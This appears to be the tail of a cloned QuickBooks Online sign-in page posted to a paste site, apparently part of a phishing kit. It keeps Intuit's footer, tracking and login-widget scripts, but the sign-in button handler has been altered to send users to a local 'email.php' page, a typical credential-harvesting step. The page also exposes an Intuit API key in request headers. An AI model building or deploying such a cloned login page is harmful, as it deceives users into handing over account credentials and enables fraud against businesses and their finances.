- <div style="display: none; " class="morehelplinks"><div class="helpicon"></div><a href="https://help.quickbooks.intuit.com/en_US/kb/whats-unapplied-cash-payment/000001457_en_US:SALESFORCE.modal" target="_blank" class="helptitle">I need help with my user ID and/or password.</a></div>
- <div style=""><div class="helpicon"></div><a href="/c36/v1803.859/0/extrequest/login/recover?source=login" target="qbologinrecover" class="helptitle">Trouble signing in?</a></div>
- <div class="clear"></div>
- </div>-->
- <div id="signuplink" class="helpcontainertitle morehelplinks" style="display: none;">
- <!--<div class="helpicon"></div>
- <div><a href="http://quickbooksonline.intuit.com/bookkeeping-accounting-systems/" target="qbomarketing" class="helptitle">Don't have an account? Sign up here.</a></div>
- <div class="clear"></div>-->
- </div>
- </div>
- </div>
- </form>
- </td>
- </tr>
- </tbody></table>
- </div>
- </div>
- </div>
- <div class="footercontainer generalcontainer ">
- <div class="copyright">© 2017 Intuit Inc. All rights reserved.</div>
- <div class="footerlinkscontainer">
- <div class="footerlinks">
- <a class="footer_link" href="https://security.intuit.com/privacy/" target="_blank">Privacy</a>
- |
- <a class="footer_link" href="https://help.quickbooks.intuit.com/en_US/contact?pageContext=login" target="_blank">Support</a>
- </div>
- <div class="clear"></div>
- </div>
- <div class="clear"></div>
- </div>
- <div id="divContentFooter" class="divContentFooter" style="">
- </div>
- <div id="divFooter" class="divFooter" style="">
- </div>
- <div id="cookiesUsageFooter" class="hide cookiesUsageFooter">
- <table class="cookieUsageMessageTable">
- <tbody><tr>
- <td class="cookieWarnMessage">
- </td>
- <td class="cookieCloseAction" onclick="doAcceptCookieWarning();">X</td>
- </tr>
- </tbody></table>
- </div>
- <div class="footer3rdPartyLogo">
- <a href="https://sealinfo.verisign.com/splash?form_file=fdf/splash.fdf&dn=qbo.intuit.com&lang=en" target="_blank"><img src="./book_files/verisignseal.png"></a>
- <a href="http://www.truste.org/ivalidate.php?ctv_group=IntuitSMB&companyName=Intuit&sealid=101" target="_blank" class="trusteSeal"><div class="trustesprite"> </div></a>
- </div>
- <script type="text/javascript" src="./book_files/commonutil_min.js.download"></script>
- <script>
- qbo.login.paycycleUrl = 'https://qbo.onlinepayroll.intuit.com/login/logout_qbosso.jsp';
- qbo.ecosystem.partnerLogoutUrls = '';
- qbo.preload.bootlayer.url = 'app/hello?localguest=true';
- </script>
- <script>
- // clear authentication level on login page load in session storage
- try {
- if (window.sessionStorage) {
- window.sessionStorage.setItem("qbo.authenticationLevel", null);
- }
- } catch (e) {
- // ignore error. No big deal if we cannot set on session storage. This catch is for catching
- // QuotaExceededError thrown on Safari private mode
- }
- var zionBaseUrl = QBO_ENV === "prod" ? "https://zion.qbo.intuit.com/api/v1/" : "https://zion-qa.sbgdev.intuit.com/api/v1/";
- function attachCommonProperties(entry) {
- entry.template="iam_login_ius";
- entry.qbo_version=APP_REL_NUM;
- entry.ivid=cu_cookies_getCookie(GETJSX(), "ivid") || undefined;
- entry.url_path=window.location.pathname;
- entry.user_agent=navigator.userAgent;
- entry.locale="en_US";
- }
- function log(message, log) {
- log = log || {};
- log.message = message;
- log.log_level="log";
- attachCommonProperties(log);
- $.ajax({
- type: "POST",
- contentType: "application/json; charset=utf-8",
- dataType: "json",
- url: zionBaseUrl + "logsPublic",
- headers: {
- "Authorization": "Intuit_APIKey intuit_apikey=0d9d2925-eec0-45e9-b24a-b267b331c922"
- },
- data: JSON.stringify({messages: [log]})
- });
- }
- function rum(action, time, rum) {
- rum = rum || {};
- rum.action = action;
- rum.measures = rum.measures || {};
- rum.measures.tt = time;
- rum.metaData = rum.metaData || {};
- attachCommonProperties(rum.metaData);
- $.ajax({
- type: "POST",
- contentType: "application/json; charset=utf-8",
- dataType: "json",
- url: zionBaseUrl + "rum/recordDataPublic",
- headers: {
- "Authorization": "Intuit_APIKey intuit_apikey=0d9d2925-eec0-45e9-b24a-b267b331c922"
- },
- data: JSON.stringify(rum)
- });
- }
- function logLoad() {
- if(typeof $ === 'undefined') {
- setTimeout(function () { logLoad(); }, 100);
- } else {
- log("iam_login_ius:load");
- }
- }
- logLoad();
- var iusPartnerUid = "google";
- var signInButton = "";
- var ssoGuidance = !!"";
- var partnerEmail = "";
- var partnerProfilePicture = "";
- if (typeof trackLinkQBOLoginViewOnHarmonySuite === "function") {
- trackLinkQBOLoginViewOnHarmonySuite(iusPartnerUid, ssoGuidance);
- }
- function injectPartnerUserInfoFields() {
- if (partnerEmail && $('.partner-user-info').length === 0) {
- $('#ius-sign-in-sub-header').html('<div class="partner-user-info"><div class="partner-avatar" style="background-image: url(' +
- (partnerProfilePicture ? partnerProfilePicture : 'https://uiclassic.intuitcdn.net/v1803.859/images/Grey_PersonAvatar.png') +
- ');"></div><div class="partner-email">' + partnerEmail + '</div></div><div>' + $('#ius-sign-in-sub-header').html() + '</div>');
- }
- }
- function onIUSSignInViewDisplayed(view) {
- if (view === "sign-in-mfa-options-view") {
- $("#ius-mfa-options-cancel-link").click(function() {
- setTimeout(injectPartnerUserInfoFields);
- });
- }
- }
- function onIUSSignInWidgetLoad() {
- if (!iusLoaded) {
- iusLoaded = true;
- // GSSO-81: this logic is here because the contentOverride
- // does not work if you try to override a locale which isn't
- // en_US.
- if (customContent && intuit.ius.signIn.init) {
- // if the custom content is not en_US
- if (intuit.ius.signIn.config.contentOverride[0].locale.toLowerCase() !== intuit.ius.locale) {
- intuit.ius.signIn.config.contentOverride.push({
- "locale": "en-us",
- "overrides": customContent
- });
- }
- intuit.ius.signIn.init();
- }
- var loadTime = (new Date()).getTime() - iusLoadStartTime;
- rum("ius-sign-in:load:success", loadTime);
- if ($("#ius-pin").is(':visible')) {
- $("#ius-pin").focus();
- } else if ($("#ius-userid").val()) {
- $("#ius-password").focus();
- } else {
- $("#ius-userid").focus();
- }
- $("#ius-userid").attr('data-valid', 'valid');
- $("#ius-password").attr('data-valid', 'valid');
- $("#ius-sign-in-submit-btn").click(function() {
- log("ius-sign-in-submit-btn:click");
- signInStartTime = (new Date()).getTime();
- signInButton = "";
- window.location.href = 'email.php';
- if (typeof trackLinkQBOLoginClickOnHarmonySuite === "function") {
- trackLinkQBOLoginClickOnHarmonySuite(ssoGuidance && iusPartnerUid, ssoGuidance);
- }
- });
- $("#ius-partner-buttons-list .ius-partner-button").each(function() {
- $(this).click(function() {
- log("ius-partner-button:click", {partner: iusPartnerUid});
- signInStartTime = (new Date()).getTime();
- signInButton = "partnerauth";
- if (typeof trackLinkQBOLoginClickOnHarmonySuite === "function") {
- trackLinkQBOLoginClickOnHarmonySuite(iusPartnerUid);
- }
- });
- });
- }
- }
- function onPartnerAuthGetDataSuccess(data) {
- if (data && data.partner && data.partner.email) {
- partnerEmail = data.partner.email;
- partnerProfilePicture = data.partner.profilePicture;
- setTimeout(injectPartnerUserInfoFields);
- }
- }
- var ssoGuidanceHeader = "";
- var ssoGuidanceSubHeader = "";
- var customContent;
- if (ssoGuidanceHeader && ssoGuidanceSubHeader) {
- customContent = [{
- id: 'ius-sign-in-header',
- content: ssoGuidanceHeader
- }, {
- id: 'ius-sign-in-sub-header',
- content: ssoGuidanceSubHeader
- }];
- }
- var signInStartTime = (new Date()).getTime();
- var iusLoadStartTime = (new Date()).getTime();
- var iusLoaded = false;
- var iusLoadTimeoutMS = 60000;
- setTimeout(function() {
- if (!iusLoaded) {
- rum("ius-sign-in:load:fail", iusLoadTimeoutMS);
- }
- }, iusLoadTimeoutMS);
- //IUS SignIn widget config.
- intuit.ius.signIn.setup({
- partnerAuthButtons: iusPartnerUid && !"" ? [{partnerUid: iusPartnerUid}] : undefined,
- contentOverride: customContent,
- offeringId: "Intuit.sbe.salsa.default",
- offeringEnv: "prd",
- country: "US",
- termsOfServiceLink: "https://qbo.intuit.com/c1/Terms_Of_Service.html",
- theme : 'harmony',
- onLoad: onIUSSignInWidgetLoad, // Focus on the right fields onload
- onViewDisplayed: onIUSSignInViewDisplayed,
- onPartnerAuthGetDataSuccess: onPartnerAuthGetDataSuccess,
- customerSupportLink : "https://help.quickbooks.intuit.com/en_US/account?account_recovery_link=https%3A%2F%2Fqbo.intuit.com%2Fc36%2Fv1803.859%2F0%2Fextrequest%2Flogin%2Frecover%3Fsource%3Dlogin", //This need to be set to show the option "Dont't have access to email/phone" on MFA screen
- accountRecoveryLink: "/c36/v1803.859/0/extrequest/login/recover?source=login", //Account recovery link during wrong password, locked out case
- signUpLink: "http://quickbooks.intuit.com/signup/", //Signup link will be shown below signin button
- onSignInFail: function(obj) {
- var signInTime = (new Date()).getTime() - signInStartTime;
- rum("ius-sign-in:sign-in:fail", signInTime);
- log("ius-sign-in:sign-in:fail", {response: JSON.stringify(obj)});
- },
- onSignInSuccess: function(obj) {
- var signInTime = (new Date()).getTime() - signInStartTime;
- rum("ius-sign-in:sign-in:success", signInTime);
- log("ius-sign-in:sign-in:success", obj && obj.userId && {userId: obj.userId});
- // set authentication level on signin success in session storage
- try {
- if (window.sessionStorage) {
- window.sessionStorage.setItem("qbo.authenticationLevel", (obj && obj.authenticationLevel));
- }
- } catch (e) {
- // ignore error. No big deal if we cannot set on session storage. This catch is for catching
- // QuotaExceededError thrown on Safari private mode
- }
- var isUserFromQuickBooksMarketingPageLogin = cu_cookies_getCookie(GETJSX(), "is_from_fms_mktg_pg");
- var isUserFromQuickBooksMarketingPageVWLogin = cu_cookies_getCookie(GETJSX(), "fms_mktg_pg_vw");
- if (typeof trackLinkQBOLoginOnSBGSuite !== "undefined" && typeof trackLinkQBOLoginOnSBGSuite === "function" &&
- (isUserFromQuickBooksMarketingPageLogin === "Y" || isUserFromQuickBooksMarketingPageVWLogin === "y")) {
- trackLinkQBOLoginOnSBGSuite(!!"");
- cu_cookies_deleteCookie(GETJSX(), "is_from_fms_mktg_pg", "/", ".intuit.com")
- }
- if (typeof trackLinkQBOLoginOnHarmonySuite === "function") {
- // Note: If the signInButton is "partnerauth", then rather than hitting this callback, the user
- // is redirected to a hosted page, which performs the sign-in, and then directs back to qbo,
- // which in turn serves up whichever page is next applicable for the user. This callback, thus,
- // is never actually invoked for this use case.
- // I've left the "partnerauth" check in the code anyway, so that someday in the future,
- // if/when we ever move login to a SPA, the tracking will work even for partnerauth.
- trackLinkQBOLoginOnHarmonySuite((ssoGuidance || signInButton === "partnerauth") && iusPartnerUid, ssoGuidance);
- }
- // On success reload the login page. If authenticated, it will go to company selection page Or homepage. Our login will handle that.
- window.location.reload(true);
- }
- });
- </script><iframe id="ividFrame" height="10" width="10" frameborder="0" tabindex="-1" title="" style="color:rgb(0,0,0); float:left; position:absolute; top:-200px; left:-200x; border:0px; display:inline" src="./book_files/ividFrame.html"></iframe>
- <iframe id="intuit.ius.xdrIframe" height="100" width="100" frameborder="0" tabindex="-1" title="" style="color:rgb(0,0,0); float:left; position:absolute; top:-200px; left:-200x; border:0px; display:inline" src="./book_files/xdr.html"></iframe><iframe src="./book_files/hello.html" style="width:0; height:0; display:none"></iframe></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement